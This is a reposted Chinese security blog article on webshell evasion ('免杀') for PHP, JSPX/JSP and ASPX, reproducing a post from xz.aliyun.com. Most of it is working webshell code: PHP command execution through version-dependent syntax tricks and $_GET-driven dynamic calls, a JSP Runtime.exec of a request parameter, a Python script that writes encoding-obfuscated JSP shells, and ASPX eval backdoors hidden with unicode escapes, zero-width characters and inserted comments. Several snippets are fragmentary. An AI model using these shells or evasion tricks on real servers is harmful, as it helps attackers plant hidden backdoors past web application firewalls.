传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
1、利用在高版本php语法不换行来执行命令
=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
5.2 版本报错
5.4 版本报错
7.3.4 成功执行命令
2、利用特殊符号来引起报错
echo `whoami`;
5.3 执行命令失败
7.3 执行命令失败
5.2 成功执行
3、十六进制字符串
$s=substr("aabbccsystem","0x6");
$s(whoami)
7.3 命令执行失败
5.2 命令执行失败
5.3 命令执行成功
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
0、小小Tips
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式。
1、jspx CDATA特性
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如:String cmd = request.getPar<![CDATA[ameter]]>("shell");
2、实体化编码
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
3、利用java支持其他编码格式来进行绕过
#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
unicode编码
空字符串连接
<%%>截断
头部替换
特殊符号@
注释
<%@ Page Language="Jscript"%>eval( .Item["pass"],"unsafe");%
1、unicode编码
<%@ Page Language="Jscript"%><%u0065u0076u0061u006c(@Request.Item["pass"],"unsafe");%>
2、空字符串连接
u200c
u200d
u200e
u200f
3、使用<%%>语法
<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
4、头部免杀
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
5、使用符号
(Context.Session["payload"] == null)
("payload"] == null) . [
6、注释可以随意插入
<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
文章来源:先知社区(Icepaper) 原文地址:https://xz.aliyun.com/t/10937
推荐阅读
原文始发于微信公众号(橘猫学安全):干货 | 实战分享几种Bypass成功的webshell免杀方式(建议收藏)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论